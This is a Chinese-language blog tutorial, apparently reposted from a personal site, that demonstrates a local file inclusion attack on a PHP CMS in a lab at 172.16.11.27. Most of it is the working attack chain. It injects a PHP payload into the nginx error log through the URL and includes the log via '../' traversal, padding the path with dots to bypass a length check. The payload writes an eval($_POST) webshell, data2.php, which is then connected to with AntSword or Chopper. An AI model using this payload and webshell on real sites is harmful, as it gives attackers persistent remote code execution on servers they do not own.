任意文件包含漏洞（3）——实战某cms
资源下载
至少有一个任意文件包含漏洞的cms
错误日志
nginx的默认日志文件是phpstudy/nginx/logs/error.log
apache的日志文件是phpstudy/apache/logs/error.log
一般管理员都不会改的
这里我用的是nginx
在这里插入图片描述
演示
进入网站首页
在这里插入图片描述
在url后面加上<?php fputs(fopen('data2.php','w'),'<?php eval($_POST[123])?>');?>
或者其他的一句话木马
http://172.16.11.27/xhcms/%3C?php%20fputs(fopen(%27data2.php%27,%27w%27),%27%3C?php%20eval($_POST[123])?%3E%27);?%3E
在这里插入图片描述
查看日志文件
http://172.16.11.27/xhcms/?r=../../../nginx/logs/error.log...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
在这里插入图片描述
经过代码审计，这里还需要使用.，路径长度绕过
在这里插入图片描述
发现 index.php的同目录下生成了data2.php文件
在这里插入图片描述
用蚁剑或者菜刀连接该文件
http://172.16.11.27/xhcms/data2.php
在这里插入图片描述
本文参与 腾讯云自媒体分享计划，分享自作者个人站点/博客。
原始发表：2020-08-23 ，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读